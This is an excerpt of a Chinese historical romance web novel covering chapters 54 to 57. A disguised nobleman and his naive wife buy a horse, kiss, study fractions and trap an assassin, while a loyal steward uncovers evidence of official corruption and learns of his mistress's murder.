沈昭予眼疾手快,捂住她的嘴,把她脑袋按回怀里,勾着唇,似笑非笑:“二百五?” 管事一个激灵,只觉得男人的目光如尖锐的刀刃,那一瞬间他感觉自己被看透了全部的心思。 沈昭予慢条斯理道:“原来每个进庄的冤大头,都要送上七成的孝敬,刘大人好胃口。” 要价五百两,实际有三百五十两全都是“通融费”,正巧是要价的七成。 而通融费恰好又是来自某些高官通过暗渠获得的赃款,在商户手里转一手,最后回到高官手中。 连这么隐秘的事都知道,他还知道什么? 管事的心吓得快要不跳了,不敢再试探,“一百五十两,我们主子就是这个价买来的。” 沈昭予轻笑一声,满意道:“这话老实。” 说罢,他抬手拍了下怀里小姑娘的脑袋,一副乐意吃软饭的小人嘴脸。 “大小姐,给钱吧。” 宋星糖笑得见牙不见眼,嘴里不住念叨着“赚大发啦”,招呼妙荷给银子。 她钱没带够,正要拔掉自己一根发簪做抵押,等回去取了钱再送来。 手才刚摸到头,就被卷进一只温暖干燥、带着薄茧的大掌里。 宋星糖茫然抬头。 沈昭予收拢掌心,弯唇浅笑,“不必,够了。” “够吗?不够吧。” 沈昭予抬起头,笑意微敛,盯了一眼姗姗来迟的秦管家。 秦知期下意识捂紧腰间荷包。 下一刻,从沈昭予嘴里听到了冰冷的话:“今日出门,不是正巧多带了五十两吗?” 秦知期:“……” 不得了,这张只会骂人的嘴,学会抢钱了。 隔着荷包捏了捏里头的银子,不情不愿道:“是大小姐送你,不是——” 没等到沈昭予一个“求”字,却听到他家大小姐甜甜道:“多谢秦大哥。” 夫唱妇随,两口子一样的强盗。 秦知期叹了口气,恋恋不舍地献出荷包。 这条惹人厌烦的鱼若没有大小姐护着,必定是寻着机会,就得让人扔到臭水沟里。 交付了银子,便见沈昭予缓步走向凌风。 他抬手摸向马儿的脑袋,额头轻轻靠上去。薄唇轻启,低声说了一句什么。 话音落,凌风兴奋地落蹄,用脑袋蹭人。 管事离得近,听到男人说的是西素语的口令,顿时了然。怪道这般懂马,原来来自马儿的故土。 可一个西素人,会懂官场的事吗? 管家收了银子,面上不显,揣着警惕的心思退了下去。 宋府一行人往外,马由江行牵着。 大抵是江行身上沾了点主子的味道,凌风还算温顺,没有再发狂。 宋星糖挑到合适的礼物,心里欢喜万分,脚步轻快地在前头走。 秦知期与沈昭予并肩后行。 秦知期道:“姑爷,打草惊蛇了。” 沈昭予懒散一笑,没理。 秦知期一见就知他自有打算,便不再多言。 宋星糖在前头跑,走了一会,突然回过头来,笑眼弯弯,看了沈昭予一眼。 她什么都没做,只是看他,便叫他心里什么谋划全都清空,只剩下她的影子。 每隔一段路,每走出去几步,宋星糖就要回头冲他笑。 秦知期看得直摇头,加快脚步躲走了。 众婢女也极有眼色,纷纷加快步子,抛弃自己的主子,留他二人眉来眼去。 人都散了,沈昭予再难隐忍。 紧走两步,把人拉到怀里。 她的脑袋撞到他胸口,仰起头冲他笑。 沈昭予声音微哑:“总看着我笑作甚?有脏污?” 宋星糖眼底放光,满是仰慕,“会驯马,会杀价,还有什么是你不会的?” 沈昭予笑道:“自然没有我不会的。” 宋星糖看他的眼神热烈,毫不吝啬夸赞:“我瞧也是,鱼鱼是天底下最厉害的人!” 两人并肩而行,沈昭予目不斜视,宋星糖一双眼睛始终黏在他身上。 黏就罢了。 偏偏那双乌黑透亮的杏眸中,满满爱恋与崇拜。 没有哪个男人,被心上人用这般热烈又专注的目光看着,还能无动于衷。 他艰难稳住心神,低头看她,对上女子亮晶晶的眼睛。 他脚步渐渐乱了,颇有逃跑之嫌。 宋星糖紧跟在他屁股后头,亦步亦趋,“鱼鱼,等等我呀!” 沈昭予蓦地顿住脚步,后背撞上来一具柔软的身体。 “哎呀!” 他反手一捞,牵起她的手,快步往外走。 他腿长,她得小跑着才能跟上。 没多久就追上前头的队伍,众人眼睁睁见着两个人火急火燎地越过去了。 马庄外停着两辆宋家的马车,沈昭予带着人,头也不回地上了他那辆。 才一坐稳,他便拉着女孩的手腕,将人拖到自己的腿上。 跑得太快,宋星糖微微喘着。 撑着他胸膛,无措抬眸,“鱼鱼?” 男人眸光暗得不见一丝光亮,手托着她的头,急不可耐地,深深吻了下去。 第55章 第55章“都怪你,非要吃嘴,我…… 【55】 令人耳热的黏腻声充斥在狭小的空间中。 直叫人心腔涌起澎湃热潮,焦.灼难抑。 宋星糖似乎没料到他会忽然嘴馋,又来吃她的嘴。她没来得及闭眼,懵懂间,撞见男人深邃的眸中。 那里仿佛燃着一簇幽暗的火苗,火不大,却能烧得她浑身不自在,像是发烧一样,一阵一阵的热意往上涌。 每一次吃她的嘴,他都像是饿了几顿的狼,抓着她的唇又吮要咬,活像要把她吃掉一样吓人。 宋星糖呜咽一声往后躲,却激起更加猛烈的疾风骤雨。 她不知道,自己此刻在人眼中有多动人。 她双眸中涌动着迷.离,发出一声难耐的鼻音,如同灵巧纤细的手在他心弦上轻轻拨弄了一下,搅得他三魂七魄都乱了位。 二人肆无忌惮地在马车里缠/绵亲吻。 很快,外头传来脚步声。 沈昭予依依不舍,稍抬起头,没舍得离开,仍在她的唇上轻轻磨蹭。 “回府。” 他对着外头的人道。 他说话时,炽热的气息燎在她面上,她也不知为何,心跳竟一下重过一下。 她茫然地抬手按在胸口,百思不得其解,不知不觉间,出了好一会神。 这期间没有一点动静,也不受任何打扰,等她反应过来,再抬头,猝不及防地,又溺毙在男人那双深邃的眼中。 再木讷,也察觉到了危险。 她本能地往后仰身,想要从他腿上下去,却不料她所有心思都清楚明白地写在清澈的眼睛里。 沈昭予朝她身后伸手,贴在她后腰窝处,轻而易举地将人按了回来。 腰间的双臂越收越紧,宋星糖无措道:“鱼鱼,我的身体变得很奇怪。” “嗯?” 他将头埋在她的颈间,深深呼吸,嗓音中似含了沙砾一下哑。 “这里,跳得好快呀,奇怪。” 她被人紧紧抱着,手费劲从两具紧贴的身体中间挪动,挤啊挤,好不容易挤到胸口的位置,五指按了按。 掌心下那颗心脏正在向她显现着旺盛的生命力,甚至让她生出一种,再跳下去她就会因为过于激动而死亡的错觉。 宋星糖有些慌,“鱼鱼,怎么回事呀,我不会要死了吧?” 那只比他要小上许多的手在拼命摸索自己的心脏时,也在挑动着沈昭予努力克制的神经。 她的手骨很软,在自己身前钻来钻去,他竟生出想要把她的手探进自己衣襟的冲动。 这样龌龊的念头一闪而过,便被他强行压下。 然而情之所至,岂是那么容易冷静下来? 听声音,马车已经进城,再过不多久就到了。 总不能让人都看到她这副样子。 沈昭予没有立刻回应,兀自调整气息。 “鱼鱼,你怎么不理我?”宋星糖伸手扯他衣裳,“不会我真的要死了吗?呜呜我不要啊,你快替我看看。” 染了哭腔惊慌失措的娇嗔就在耳边,沈昭予感觉到她抓起了自己的手,被牵引着,贴上一处柔软的地方。 沈昭予:???!!!! 他蓦得抬头,后背一下撞到车厢。 咚地一声巨响,就连外头的人都听到了。 世界诡异地寂静片刻。 原本车外秦知期在与心腹低语,这下彻底安静,谁也不敢再说话。 外头安静,里头的空气温度在节节攀升。 秦知期离得最近,隐隐约约听到里头传来轻而细的撒娇声—— “为何躲?你快摸摸我,是不是太快了?” 嘭! 秦知期耳边又是一声巨响,像是什么东西甩到窗边上,听着都疼。 “你抽手做什么呀!”女子哼哼唧唧抱怨道,“都怪你,非要吃我的嘴,我现在都快要死掉了呜。” 秦知期:“…………” 他脸颊微热,一夹马肚,默默远离。 一到宋府外,秦知期也不敢停,一骨碌翻身下马,把缰绳扔给小厮,似是后头有债主追债,逃命一般往府里走。 霜星院的众婢女等了半晌,也没等到主子出来,面面相觑,不敢走也不敢催。 又过一盏茶的功夫,轿帘终于被人掀开。 沈昭予板着脸,跳下车,回身把才探出半身的人拦腰劫走,打横抱在怀里,快步往里。 他动作很快,可还是被人瞧见,宋星糖的衣裙上多了许多褶皱,面颊酡红,似饮过酒一般。 谁也不敢多言,皆红着脸,紧跟着走了进去。 ** 买马的当晚,一封请帖送到了沈昭予的手中。 “是刘家大公子。”秦知期道,“您下午在马庄的事,应该已传到刘府,您说过的那些话,触动了某些人的禁忌,他们急着见您。” 沈昭予淡淡扫了一眼,兴致寥寥,“你去吧。” 秦知期诧异道:“我行吗?” “你不行就不去,反正我不去。” 秦知期:“……” 这位爷究竟是不是来越州抓人的?难不成是他猜错了? “是他们急,我又不急。等他们出招便是,我为何要顺着他们铺的路走?” 素来只有他掌握主动权的份,还没听说哪个人要见他,他就非得赏脸的。 沈昭予勾唇一笑,随口戏言道:“就算皇帝想见我,也要先问过我愿不愿意才行。” 秦知期:“……您何时才能改了这信口胡说的毛病啊。” 沈昭予挑眉笑道:“怎是胡言?我说的皆是实话。” 秦知期:“……” 好好好,你老人家天下第一,谁也不敢命令你行了吧。 秦知期默默翻了个白眼,点点桌上的信,“那不管了?” 沈昭予思忖片 刻,又有了主意,“不能不管。” 他不知想到什么,面上忽然露出愉悦的表情,秦知期心里生出不好的预感。 沈昭予笑眯眯地:“你回一封信,就说——马庄简陋,不堪入目,下回记得让耿掌柜多扣几批货,卖价高些。” 秦知期:?!!! 他大惊道:“这么直接?!” 执掌织造局的耿掌柜早就背叛了李夫人,尤其是在李夫人病倒后的那大半年里,偷偷私吞了不少该送到京城去的高级丝织物,以次充好,从中吃回扣,私得的欠款大多数都流向了州府的口袋。 沈昭予这么说,算是将窗户纸直接捅破。 “本……咳,我不想浪费时间,麻烦得很。”沈昭予不耐烦道,“他们要见我,左不过是要试探。不必试探,我直接将答案告诉他们,让他们进行下一步吧。” 秦知期:“……” “还不快去?” 秦知期心里不安,这位爷的办事风格过于诡谲,令人完全摸不到头绪,他心里没底,想再多问问。 咚咚两声。 房门忽然被敲响,两人齐刷刷看过去。 吱扭—— 门开了个缝。 宋星糖探了颗脑袋进来。 沈昭予的目光顿时柔软下去,唇边不自觉漫上笑意,他朝她招手,“来。” 宋星糖咧嘴一笑,乐颠颠地跑过去。 “鱼鱼~~你忙不忙呀?” 沈昭予将人揽住,“不忙。” 他语气柔得滴水,抬头冷飕飕地盯向秦知期,像对方使眼色——还不快去办。 秦知期:“……” 他还未动,眼睛无意间瞥到宋星糖手里的书—— 《九章算术》。 秦知期光看这几个字,就想起来以前教宋星糖读书时受过的摧残,不用人催,抓起信扭头就走。 临走时,还不忘把门给小夫妻俩关上。 要恩爱就关起门来好好恩爱吧。 沈昭予跑慢一步,只能硬着头皮,听她说道: “鱼鱼,我们读书吧?读会了,你奖励我,好不好?” 沈昭予:“……” 现在再跑,也来得及吧? “不如你直说,想要什么奖励?” 直接免去读书这一步吧。 宋星糖十分有原则地拒绝了他,义正言辞道:“糖糕要努力得来的才算甜,若是轻而易举就满足心愿,谁还会珍惜呢?这是你教给我的,这就忘啦?” 沈昭予:“……” 他多这个嘴干什么! “让我来看看,学到哪啦?我记得是……找到啦!”宋星糖正襟危坐,认真念了一道题,“今有三分之一,五分之二。问:合之得几何?” 宋星糖专注地想了会,“十五分之十一?” 说罢期待地看着他。 沈昭予挑眉,收回跑路的脚,在她对面坐下。 笑道:“对。” 还不错嘛,算得还挺快,看来今夜会很顺利,他能早睡觉了! 宋星糖美滋滋的,又继续念一题:“又有三分之二,七分之四,九分之五。问:合之得几何?” 宋星糖思考片刻,伸手拿笔,嘴里念叨:“术曰:母互乘子,并以为实。母相乘为法……” 沈昭予满意地点头,一颗心彻底落下去。 看来她的确有长进。 他拎着空的茶壶出去,找婢女添一壶新茶,又拿上她最喜欢的鬼故事,准备带到书房去打发时间。 一出一进,过去没多久功夫,所以回去时看到宋星糖还保持着他离开时的姿势,也没多想。 目光打她身上一过,便不甚在意地挪走。靠近对面的暖榻上,拿起鬼故事看。 等他拧着眉,满脸痛苦地读完三个抑郁而终的女子化为厉鬼、上京找高中状元后便抛妻弃子尚公主的负心汉报仇的故事,以及两个无头男尸吓乡绅索贪官命的故事后,冷着脸抬头时,宋星糖似乎还保持着半个时辰前的姿势没变。 沈昭予:? 就说好像忘了点什么,她是不是还没给他答案? 扔了破书,缓步靠近,才发现桌上丢弃好几团废纸,而展开的这张纸上,并没有验算过程,只画有一个猪头。 沈昭予:“……” 他拍拍她肩膀。 宋星糖哭丧着脸回头,委屈死了,“鱼鱼……” “不会算?” 宋星糖垂头丧气,“两个会,三个就难了。” 沈昭予纳闷:“两个与三个有何分别?” 宋星糖一副你不懂的样子,摇头道:“两个只要互乘,再加上就好。” “那三个呢?” “三个分母乘在一起,到分子就乱了。” 沈昭予不理解。 不是为了能早点睡,只是看她难过的样子,心里觉得不会算数也不算什么大事。 再不济,还有账房先生呢。 他刚要开口劝她放弃,却见她做贼心虚似得抬头,试探地看他。 沈昭予:“……有话直说。” 她羞赧一笑,“我方才解出过一道呢,那奖励?” 沈昭予:“……” 一天天的,净惦记着吃。 被人直勾勾看着,沈昭予无奈道:“给你给你。” “好耶!” “既然已经有了奖励,那……”她再次将目光落到书本上,勉为其难道,“那我再努力一下吧!” 人总得有始有终! 沈昭予弯腰,手从她膝下穿过,稍稍使力便将她抱了起来。 抱着人回到卧房,按到榻上,伸手去解她衣裳,低头吻她。 “别努力了,夫君养你。” 第56章 第56章“鱼鱼,我好喜欢你呀。…… 【56】 白日宋星糖撩拨种下的因,终于在夜晚到来时,尝到了果。 最冤枉的是,她压根不知道这是自己做下的孽。 她被人剥得只剩下一件抱腹与小衣,虽说夏夜并不凉,可她还是激得浑身起鸡皮疙瘩。 错把这种感觉当做冷,宋星糖颤颤巍巍地,朝着面前的唯一热源靠近。 雪肌腻理,莹白如凝脂,柔条似的手臂无骨地缠上来。 简直就是羊入狼口。 男人眸底满被欲.色填充,他不敢低头去看,只能牢牢盯着她的眼。 白日她把自己送到他手中,他情不自禁地碰了,虽然过后万分自责羞愧占了她的便宜,可心里到底还是喜爱去且贪恋的。 他天真地以为,非礼勿视,就能守住底线。到最后却发现,只看着她的眼睛,他也会情//动。 沈昭予并非喜欢自虐,他只是总觉得,随心所欲实在委屈了她。 不碰,那就再亲亲她吧,反正已经亲过许多回。 半晌,两人汗津津地分开。 宋星糖嗓音黏腻,甜甜的,“你怎么这般喜欢吃我的嘴?” 她年岁已然不小,却还懵懵懂懂不开窍,全然不知这样的互动代表着什么。 这样一张白纸,只在他的手下,由他描绘出绚丽之景。 沈昭予笑道:“糖儿还记得我们一起读过的秘戏图吗?” “记得记得!”宋星糖期待道,“怎么,又要学了吗?” 沈昭予轻轻拧下她的鼻尖,笑道:“我不是在吃嘴,是在吻你。” 宋星糖疑惑道:“吻?” “这也是夫妻之间才可做的事,是增进情感,或是表达爱意的方式。” 如今再与她说起房//中事,心境与从前再不相同。 才成亲时,只觉得尴尬,他长这么大同女子说话的次数都有限,忽然要他娶亲,对着一个自己完全不喜欢的女子做亲密的举动,他打心里排斥,况且她又粘人,实在令他焦头烂额,心生烦躁。 可如今,只稍稍想一想两人在一起的画面,便令他气血翻涌,情难自已。 宋星糖不知道吻意味着什么,却知道“夫妻之间才能做”这几个字的含义。 她眼前一亮,兴奋道:“我知道我知道,这也是私下里秘密做的事对不对?” 难怪他每次吃她的嘴,都只有他们两个人,在马车里他吃了一路,等到回家,人一多,他又不再碰她,她还遗憾来着。 本来捧着算题来找他,还想要他再吃吃,作为另一份奖励,结果一忙起来就全忘了,只记得要糖糕。 “鱼鱼,我喜欢这样,你往后多这样可好?我们是夫妻,你不同我做,就没人能同我做了。” 世间多的是拐弯抹角、阴谋诡计,却鲜少有人会在他面前,如此热烈直白。 如她央求的那般,将她唇边的味道又尝了一遍。 沈昭予难以克制地, 问出一个压在心里许久的问题: “你可愿离开越州,随我去远方?” 他知道自己不该问,他知道自己变得卑微、胆怯,不像自己。 他终归是要走的,从前只想谋划大业,什么情什么爱通通是负担,他不屑一顾、嗤之以鼻。 可…… 如今真的很难将她割舍,她若愿意随他走,就再好不过,他会倾尽所能,庇护她周全。 若是能和他走就好了。 话既出口,断无反悔。 沈昭予屏息凝神,等待她的回答。 宋星糖靠在他颈边呼吸,疑惑道:“为何要离开?我们的家不在这儿吗?是要出去游山玩水?” 沈昭予苦笑道:“并非游山玩水,是我带你去另一个地方,去我们的新家生活。” “新家……”宋星糖喃喃重复了一遍,没怎么思考就摇头,“我不去新家,我就在这。” 沈昭予呼吸凝滞,心跳都缓了一拍。 他急切道:“为何不去?” 宋星糖笑一声,调侃道:“鱼鱼好笨,我娘的产业就在这里,我又能去哪儿呢?” 她不好意思地摸摸鼻子,嘟囔道:“我没出息,人也不聪明,但我是娘亲唯一的女儿,必须要守护她好不容易打拼来的事业。虽然我一个人守不好,但我还有秦大哥和你呀!” 沈昭予心中苦涩难当,缓缓收紧手臂,低低“嗯”了一声。 他感慨道:“你母亲若知晓你这般懂事,定会十分欣慰。” 他的确不能将自己与她早逝的母亲相提并论。 宋星糖自豪道:“那当然啦,我娘从不厌烦我,也不嫌我笨,就和你一样哦!” “哦对了,还有我爹爹。”她蹭了蹭他,说道,“我若走了,万一爹爹回来寻不到我怎么办?” “爹爹杳无音讯,生死未卜,可丧报不到,我绝不信他是战死在外头。” 沈昭予听至此处,便知要将她带走几乎毫无胜算。 他甚至不敢问她,若是不愿同他走,他要离开,无人帮她该怎么办。 怕她会回答——“那就再换一个夫君嘛”。 毕竟,她并不爱他。 ** 秦知期派人将回信送出,人立在宋府匾额下,久久望着刘家的方向。 早起,赵鱼来到他院里,莫名其妙询问起宋星糖父母的事来。 问了宋将军最后一次寄送家书的时间,又问李夫人的病开始有预兆的时间。 他回答说:“老爷去年冬日就没了消息,连夫人过世的消息送出去都没有回音。” 宋氏夫妇恩爱非常,若人还活着,不会在爱妻重病时置之不理。 这也是宋家上下皆默认宋鸿战死沙场的主要凭据。 秦知期不知道赵鱼是否察觉出异常,因为赵鱼得到答案就离开了,什么都没说。 午后沈昭予把看书又看睡着的宋星糖抱回房间后,独自去了一趟安济寺。 他径自去找住持慧明,扣着慧明聊了一下午,将江南几州的情况仔仔细细询问一遍。 随后返回自己最初藏身的地方,将还在越州的部下皆召到跟前。 江行与魏吉皆嗅到了风雨欲来的味道。 日落,沈昭予回到霜星院。 陪宋星糖用过晚膳,两个人躲到书房里嘀嘀咕咕。 妙荷坐在门槛上,对着月亮发呆,“姑娘今日好生奇怪。” 李嬷嬷一整日都在库房,没跟她们待在一块,不清楚发生何事,便好奇道:“怎么?” 妙荷道:“午后睡醒,叫小丫鬟们在窗户里头的地上摆钉子。” 李嬷嬷:?? 摆什么?钉子?! 妙荷又道:“一直摆到床榻,只留一条单排脚印大小能通过的路,她还给我一条绳子,让我照她说的绑在床头和床尾。那绳子才奇怪呢,竟是个机关!我好奇碰了一下,结果……” 李嬷嬷眼角一跳,“如何?” 妙荷挠挠头,没说话,抱剑侍立在一侧的青鸾淡声道:“她被绳子捆住,花了半个时辰才被人解救出来。” 李嬷嬷:“……” 妙荷脸微红,觉得丢人,瞥见青鸾怀里的东西,疑惑道:“说起来,你为何能有剑?” “姑爷见我会些拳脚功夫,赏我的。” 终于有光明正大的理由拿回自己的武器啦。 青鸾勾起唇,手指摩挲剑柄上熟悉的暗纹,开心地笑了。 妙荷叹道:“你昨日把我们吓一跳,谁能想到你还会轻功,唰——直接就飞了!” 青鸾面不改色地诋毁主子:“前主人有怪癖,就爱看人飞檐走壁,没法子,为了生存,都得学。” 李嬷嬷、妙荷:“……” 真是个怪人! “也多亏你能护着姑娘,往后你在这院里必然更受重用。” 妙荷不像秦知许一样嫉妒心重,各人擅长不同,各司其职,她觉得很好。 青鸾不着痕迹地把话题引回去,“你们忙一个下午,就只摆钉子、下绳套?” 妙荷一拍大腿,“可不止呢!咱们这个院,里里外外,现在到处都是陷阱。没瞧吗?小丫鬟们都被遣散到秦管家院里去了,现在院里只剩咱们三个。我跟你们说,今夜可千万别乱跑,免得从这个坑里爬出来,又掉到那个坑里去。” 一边说着,一边揉了揉胳膊,很是后怕。 她下午被绳子勒怕了,无事再不敢乱走,就在一个安全的地方一直待着,生怕不留神再把自己困住。 “我想好了,等会姑娘用不着我,我就去厨房凑合一宿。” 李嬷嬷无奈道:“姑娘这是要作甚?” 妙荷摇头,“不知,只知道应该是姑爷教她这样做的,姑爷的心思你们知道,谁也看不透,总归是有用处,姑爷从不做多余的事。” 众人纷纷认同地点头。 一更过,沈昭予让妙荷和李嬷嬷都去睡了,还交代若听到动静也不要出来。 至于青鸾,不用吩咐,便十分自觉地飞上屋顶,找地方藏着。 整个霜星院,就只剩下沈昭予和宋星糖两个人。 宋星糖下午亲自盯着人满院摆陷阱,最是知道这里头有多少埋伏。 她缩在暖阁里,看着他在一众机关中间穿行,从书房到卧房,踩在地上的钉子时更是如履平地,心里佩服不已,双目闪着亮光。 等男人的身影绕过屏风,进到里间,再看不见,她在榻上站起身,手扒着墙,往外探头。 “鱼鱼,脚疼吗?” 那条路是叫身量最瘦小的小丫鬟去摆的,她自己都不敢走,生怕不小心踩上把鞋底扎穿。 赵鱼人高马大的,能过得去? 内间传来男人一声轻笑:“等会糖儿替我看看?” “我怎知道你疼不疼呀。” “我皮糙肉厚,轻易不觉得疼,糖儿若看了有伤口,兴许会替我疼。你说,那算不算疼呢?” 他在调侃她先前看到腹上的伤,哭哭啼啼一晚上,心疼得不得了。 宋星糖一本正经道:“那也算的,你说过夫妻一体,我替你疼,也算你疼。” 说话间,沈昭予抱着被子从里间走出。 一看到他的身影,宋星糖就满心满眼全是他,开心得什么都忘了 她一激动,扒着墙根的手松开,人的重心在外头,她失去平衡,直直朝下栽倒。 外间的地上也布满陷阱,宋星糖呜了一声,只来得及闭上眼睛。 黑暗中一阵熟悉的味道飘入鼻腔,腰间揽上来一双有力的臂膀,紧接着她的身子撞进坚//硬的胸膛中,她感觉自己被人生生扭转了方向, 朝着另一边倒去。 宋星糖睁开眼,发现自己被人抱在怀里。而沈昭予,被她压在榻上。 她茫然呢喃:“鱼鱼,你没事吧?” “我怎么会有事呢,”他抬手将她的长发挽至耳后,笑道,“不仅我不会有事,糖儿也不会有事。” “嗯嗯嗯!” 指间飞出一根银针,屋中烛火熄灭。 “委屈糖儿,今夜要与我在这暖阁里入眠。” 沈昭予歉疚地说道。 他展开被子,将人裹进去,而后自己连人带被子抱住,让她靠在自己怀里睡。 此处榻小且冷,一般是守夜的婢女睡觉的地方,因为成亲以后,沈昭予不喜屋中有旁人,故而一直空着。 但在别人家,甚至是二房,都是下人在用。 “鱼鱼,真的能抓到东西吗?” “能。” “那为何不是昨晚,不是明晚,恰是今晚?” 沈昭予笑道:“你就当是你的夫君去拜了菩萨,菩萨说的。” 宋星糖猛地抬头,“哇,原来你白日去寺庙拜菩萨啦?” “是啊。” “拜菩萨好,菩萨可灵了!我正因求了菩萨,才把你求来我身边。” 宋星糖喜欢得嘴里直哼哼,身子不住往他怀里拱。 “鱼鱼,我好喜欢你呀,没有你我可怎么办呐。”她伏在他怀里,仰头叭叭一通乱亲,有几下亲到人喉结上也不停,“回头要再去一趟安济寺,感谢菩萨把你带来我身边。” 沈昭予心底一片柔软,唇角噙着笑,喟叹一声。 他也很感谢那个去求神拜佛的她。 感谢菩萨,让他遇到她。 第57章 第57章“你骗我,一直在骗我。…… 【57】 后半夜,一声惨叫响彻云霄。 青鸾第一时间将人抓住,打昏扔在墙角,等着主子来审。 由于抓贼时,她的动作过于粗鲁,不小心弄了一手血,此刻冷着脸皱着眉,浑身煞气直往外冒。 江行探头探脑,鼓起勇气递出去一条湿帕子。 青鸾冷冷回眸,看得江行腿软。 救命,她真好看。 青鸾接过帕子,用力擦拭,弄脏一条,江行紧接着又送上来一条。半晌,手终于干净了。 青鸾皱在一起的眉头渐渐松开,紧绷的肢体也松懈下来,整个人长松口气。 想起自己方才对同僚的态度过于冷漠,她沉吟片刻,“抱歉,实非我故意,是……” 江行抢先答道:“我知道!我知道的,你不必讲……” 怀王手下暗卫共一十八人,每个被“编号”的都可以算得上心腹,才到主子身边时,都经过严格的筛选与调查。 青鸾来时,正是江行负责调查她的过往。 据了解,怀王在乱葬岗遇到青鸾之前,她才从继父家里逃出来。 生母改嫁后没几年就死了,继父惦记青鸾姣好的样貌,意图在她母亲灵堂中染指她。 青鸾亲手杀死继父,又将那畜生的孽根割下,剁碎了喂狗。而后她就逃出来,跑到乱葬岗,从死人身上扒东西卖钱换吃的。 虽然她当时果断地手刃继父,看似果敢,但她到底是个小姑娘,自此留下了心理阴影。 这些年跟着沈昭予,只做些情报与传信的工作,沾人命、沾血的,沈昭予都尽量不叫她碰。 给她取名青鸾,除了因为她轻功出色,也是希望她能和青鸟一样,振翅高翔,再也不要被谁折断翅膀。 今晚是个意外,难得叫青鸾又摸了满手血,她一时被激怒,实属人之常情,江行不会怪她。 有了“递手帕的交情”,江行赧然地一步一步挪到青鸾身边,见对方对着主子的房间发呆,又大着胆子,碰上她肩膀。 青鸾:? 她奇怪地看他,他无辜回视。 不嫌挤? 哦,可能是怕踏进陷阱才挨过来吧,毕竟这院里安全的位置不多。 青鸾宽恕了对方,收回视线。 等江行在心中打了无数遍腹稿,准备自然且不唐突地与之搭讪时。 房门开了。 江行红着脸,才张嘴,青鸾便拎着剑迎上去。 江行:“……” 默默把嘴闭上,苦着脸紧跟过去。 “哇,还真能抓到东西呀,是什么是什么?” 沈昭予与青鸾都没防备宋星糖跑了出来。 青鸾抬脚踹了昏死的刺客一脚,把人踢到柱子后头,再上前一步挡住宋星糖的视线。 沈昭予则回身,按着宋星糖的头,把她按在怀里,笑道:“是鱼。” 青鸾:? “啊?又是鱼?”宋星糖瞪大眼睛,仰头看他,“比二婶还大的鱼吗?” 沈昭予道:“嗯,很大。” “能炖汤吗?” “可以,糖儿想怎么吃就怎么吃。” 青鸾:“……” 好难以理解的对话。 瓮中捉到鳖,一群人各自散了。 江行带着刺客下去,青鸾回到房上继续守卫。 沈昭予陪着宋星糖回房。 她头刚沾到枕头,便听他欲言又止,十分犹豫: “糖儿。” 宋星糖勉强撑开眼皮,“嗯?” “明日,我有话要对你说。” 宋星糖疑惑歪头,“你哪日没有话对我说?怎么还要提前知会一声?” 沈昭予背对着她,于黑暗中默默叹气。 他这一生还未怕过什么,就连九死一生之时,他都没怕过。 可一想到要和她坦白,就胆怯得不敢开口。 若是知道他骗了她,她会如何?会生气、不理他吗? 宋星糖没等到回答,两眼一闭,昏睡过去。 一直到转日天明,沈昭予才命人将陷阱都撤了。 他把熟睡的女子抱回卧房,转身出门。 一推开门,就瞧见秦知期背对着房门的方向,坐在石桌前,手里拿着一本册子。 他不知枯坐了多久。 沈昭予在他对面坐下,抬手让人上了杯热茶。 秦知期垂着头,叫人看不清神色,“被你料中,他们果然动手了。” 先有二房往刘家送密信求助,后有大动作的查账,再来是马庄里意味深长、话里有话的暗示。 刘家不可能不忌惮。 压倒刘家的最后一根稻草,是赵鱼那封拒绝邀约的堪称狂妄挑衅的回信。 刘荣元几乎能确定,赵鱼此人知道了什么,即便不能确定赵鱼究竟是上头派来的,还是他只是个普通人,误打误撞知道了秘密,自以为能拿捏州府,刘荣元都断不能容此人活着。 秦知期语气很低,自言自语:“杀人灭口,他们早已做惯,你不仅不怕,甚至硬碰硬,你……” 到底是谁? 沈昭予没回应,捏起茶盅,细细品味。 “你们没事吧?” 沈昭予“啧”了声,冷笑道:“你在说什么话,我能叫她有事?” 秦知期蓦地抬头,“那你离开后呢?” 沈昭予脸上的表情慢慢淡了,嘎哒一声,放下茶盅。 他眯着眸,“你想问什么?” 秦知期却回避了这个问题,犹豫片刻,将手里的册子推过去。 “不知您是哪位大人,我——” “换个地方说。” 沈昭予冷着脸打断,也不管他,起身先走。 “……” 两人回到秦知期自己的院子,关上房门。 沈昭予没急着坐,背着手立于堂中,静静打量四周,半晌,确定隔墙无耳,才径自走到上首位坐下。 他毫不客气地往最尊贵的位置去,丝毫不用顾忌这到底是谁的房间,谁才是主。 不止这一次,秦知期早就发现,此人的优越感与盛气凌人的傲慢都是刻在骨子里的。 仿佛…… 他自落生,就是含着金汤匙长大,素来都只有他被人捧着、被人仰视的份。 秦知期停在下首位,不知该不该对他行礼。 “坐。” 这一声命令也十分有上位者的威严。 秦知期叹了声,坐了。 “说吧。” 秦知期再次起身,将手里的书册呈上去。 “我不知你能把越州城搅成什么模样,也不知你若离开,宋氏是否会被人报复,大小姐的安危能否有保障,夫人创下的基业能否保住。这些我都不知道,但既然已经纵容你做到了这地步,刘家的杀手都找上了门,我似乎没有退路。” 秦知期深吸一口气,凝重而坚定道:“你过问夫人的病,是否怀疑他们曾对夫人下手?” 沈昭予翻开书册,“有疑心,难道不是人之常情?你是李夫人身边亲近的人,你又一心都在她身上,她的变化,你岂会看不出来?” 秦知期蓦地怔住,被诘问得说不出话来,他不敢与男人那双锐利的眸子对视,压下心里的慌张,“我,我不懂你在说什么。” 沈昭予嗤笑一声,并不与他较真。 册上皆是秦知期的亲笔,是他近一年间辛苦搜集到的刘刺史贪污的证据。 只有这些远远不够,但这些东西恰好是沈昭予的人未查到的更为细节的东西,可以用作定罪时的补充证据。 “做得不错。”沈昭予淡淡道,“东西我收下,还有什么要说。” 秦知期很不适应对方如此公事公办的模样,他倒还是更习惯对方张嘴闭嘴就嘲讽骂人的样子。 沈昭予似乎看穿他心底的腹诽,澄清道:“我对下属,素来宽和。” 秦知期:“……” 你说什么就是什么吧。 “姑爷,大小姐她……” 沈昭予垂下眼睛,“我不会令她陷入险境。” 再怎么问,他都只有这一句话,不是因为他不想说,是因为他也不知答案。 宋星糖不愿意跟着他,至于出路……他还未想出来。 沈昭予此生遇到的棘手时刻寥寥无几,他心里烦躁,将怨气和罪责都归到江南一带所有贪官身上。 “我想知道夫人究竟是不是被人害死的。”秦知期终于问出自己最想知道的问题,“我身在宋家,许多事不方便放开手脚去查,我——” 沈昭予不耐烦听完,“是。” 秦知期蓦地攥紧了拳,他垂着头,用力咬紧牙关,浑身都在微微发抖。 半晌,他长呼一口气,呢喃:“夫人是被人害死的。” 